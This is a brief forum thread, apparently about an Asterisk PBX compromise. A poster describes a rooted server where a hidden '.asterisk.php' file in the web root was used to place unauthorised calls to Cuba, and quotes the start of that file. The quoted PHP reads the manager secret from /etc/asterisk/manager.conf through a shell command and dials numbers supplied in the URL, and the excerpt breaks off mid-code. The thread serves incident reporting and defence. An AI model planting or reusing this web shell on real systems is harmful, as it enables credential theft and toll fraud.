App2 to Dial - Hacked?

[franckdanard]

Hi there a post about that.

Hacked via?

One of my customers was hacked over the weekend. Root was compromised and a file was created in /var/www.hmtl/ named .asterisk.php. The CDR data looks just like yours. This file was used to generate calls to Cuba. The system had no routes for international calls and none showed in the GUI. Here are the contents of .asterisk.php: $strUser = "admin"; $strSecret = system("cat /etc/asterisk/manager.conf | awk '/secret/ {print $3};'"); $tech = $_GET['tech']; $number = "011".$_GET['number']; $strC…